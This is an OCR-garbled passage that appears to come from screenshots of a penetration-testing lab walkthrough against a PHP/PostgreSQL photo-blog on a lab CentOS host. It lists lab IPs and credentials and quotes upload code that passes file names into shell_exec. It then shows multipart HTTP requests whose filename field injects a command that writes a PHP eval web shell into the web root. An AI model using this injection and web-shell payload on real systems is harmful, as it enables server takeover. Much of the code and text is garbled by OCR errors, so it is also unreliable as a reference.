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SERRIAR
HBAENL: Windows XP
IP: 172.16.11.2
ERIFL: Kali

IP: 172.16.12.2

= root

=3 ichunqgiu

H#x#l: CentOS 6.5

IP:172.16.12.206

TEESEISSTbE:  file.ichungiu.
com/4reh6khj
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COPY users (id, login, password) FROM stdin;
i9 admin lldn:i.nl!pgsql|
10 '
KIadminik 5
php
" $ink = pg_connect ("host=localhost port=5432 doname=photohlog user=pentesterlap password=pentesterlsan™ )

& user.php KB mysql K5 x50
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gaif(isset($_FILES['1mage'] ['trop name'])){

§$name = § FILES['image']['name'].".png":

$uploadfile = §wainDir . $namwe;
nnve_uplaaded_file[$_FILES['1mage']['tmp_name'], fuploadfile) ;

§lrgImg = $wainDi
§smllImg = §swalDir . $namwe; =
$imageMagick = jocommand . " '". §lrgImg . "' -resize 'Ssize' '" . §smlImg . "'

shell exec|$imageMagick):

$§8ql = "INSERT INTO pictures (title, jmg, cat) VALUES ('":
§title = pg escape_string($§_POST["title”]);
§img = pg escape_string( $name):

§cat = (int)§_POST["category"]:
§sql .= gjtitle.”™', '".§img."', ' ".Jcat;
$3q1-= rr|]rr'.

§result = pg exec(§3ql);
echo pg_last_error():
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'|| echo "<?php eval($_POST[1])?>" >/var/www/htmi/2.php]|'

————————————————————————————— 21745138012414:2
Content-Disposition: form-data; name="title"

————————————————————————————— 21745138012414Z
Content-Disposition: form-data; name="image";
filename='|| echo "<?php eval(§ POST[Ll])?>"
>/var/www/html/2.php||'| -
Content-Type: image/png
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Referer: http://172.1l€.12.20&6/admin/newv.php

Cookie: PHPSESSID=n7geblicpeésemtididauaac?7
Connection: keep-alive

Content-Type: multipart/form-data;
boundary=———=—=———————————========== 21745138012414z2
Content-Length: 1121

----------------------------- 217451380124142
Content-Disposition: form—data; name="title"

----------------------------- 217451380124142
Content-Disposition: form-data; name="image";
filename="1.phpd"

Content-Type: image/png
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